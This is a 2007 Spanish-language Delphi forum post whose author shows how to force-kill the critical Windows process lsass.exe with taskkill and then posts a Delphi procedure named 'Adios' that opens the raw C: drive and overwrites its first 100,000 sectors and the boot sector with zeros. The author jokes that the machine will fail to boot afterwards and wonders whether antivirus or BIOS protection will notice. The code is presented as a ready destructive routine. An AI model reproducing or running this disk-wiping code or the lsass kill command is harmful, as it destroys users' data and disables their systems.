Ver Mensaje Individual
  #5  
Antiguo 03-05-2007
aprendiz2 aprendiz2 is offline
Miembro
 
Registrado: dic 2006
Posts: 70
Reputación: 18
aprendiz2 Va por buen camino
taskkill + lo otro

Cita:
2. El lsass.exe es un nombre de proceso crítico, el cual no puede ser finalizado con los utilitarios que el Güindos nos da (Ej. TaskKill). Finalizandolo por código... eso si.


Hola cHackAll, gracias por escribir !!.

En mi PC y otras que he probado, el taskkill.exe de DOS, sí termina la tarea lsass.exe.

( la mayoria del las otras tareas no las termina, o vuelven a arrancar automaticamente ).

Es mas, desde el task manager de Windows puedo terminar esa tarea en mi PC. En otras PC que he probado (con XP), tambien !.

Quizas en tu PC se porta diferente. Me da curiosidad.. dejame saber !!!

Puedes probarlo desde DOS facilmente...( estoy seguro que sabes mas de este tema que yo !! ).

c:\> taskkill /F /IM LSASS.EXE


( hace poco hubo un virus rodando que hacia eso exactamente! Terminaba el lsass.exe. Por eso me dio curiosidad probar... Quizas sea util en alguna ocasion !!! -no para virus, por supuesto- ).

En cuanto al otro tema.... simplemente escribir "basura" en sectores importantes del disco duro.

Para mi sorpresa, Win2 no protesta !!!

( en un principio, estaba yo en el tema de leer un CD por sectores, y leer/escribir a un CD-RW por sectores..., con proposito de un hacer un disco "llave", di muchas vueltas con las benditas API createFile, readFile... setFilePointer...,y despues de lograrlo, me doy cuenta que puedo hacer lo mismo con los antiguos "read" y "write" de Pascal, mucho mas sencillo. Despues me dio curiosidad... y probe leer un sector del disco duro, y lo leyo... y despues me pregunte.. y se podra escribir ?... la respuesta fue, si!Win2 no los protege.

Código Delphi [-]
procedure Adios;
  type 
       TSector : array[1..512] of byte;
       
  var 
       F        : File of TSector;
       Sector : TSector ;
       i         : integer;
begin
      fillchar( Sector, sizeOf( TSector ), 0 );
 
     { abrir toda la unidad C: como si fuera un archivo         }
     { se puede abrir un CD de esta misma forma,para leerlo }
     { solo que hay que poner                                         }
     { FileMode := 0;   solo lectura, antes del reset             }
 
      assignFile( F, '\\.\C:' );   { funciona en NT / XP }
      reset( F );
 
      { quizas hay algo importante en los primeros 100 mil sectores... }
      { esto solo toma un segundo... }
 
      { comenzar con el sector #1        }

      seek( F, 1 ); 

      for i:= 1 to 100000 do
         write( F, Sector );
 
      { intentar el Sector 0 al final, quizas el anti-bichos proteste }
      { o quizas el BIOS tiene activada la proteccion, y avise       }
 
      seek( F, 0 );  
      write( F,Sector );
      CloseFile( F );        { para que ?? ... no tiene sentido !! jaja !! }
 
      { Cuando apagues la PC, y trates de encenderla... sorpresa !! }
end;

( disculpe si hay algun error de compilacion, el programa que teclee arriba no paso por el compilador, pero la idea esta ahi ).

Espero le sirva para algo !

Última edición por aprendiz2 fecha: 03-05-2007 a las 02:40:08.
Responder Con Cita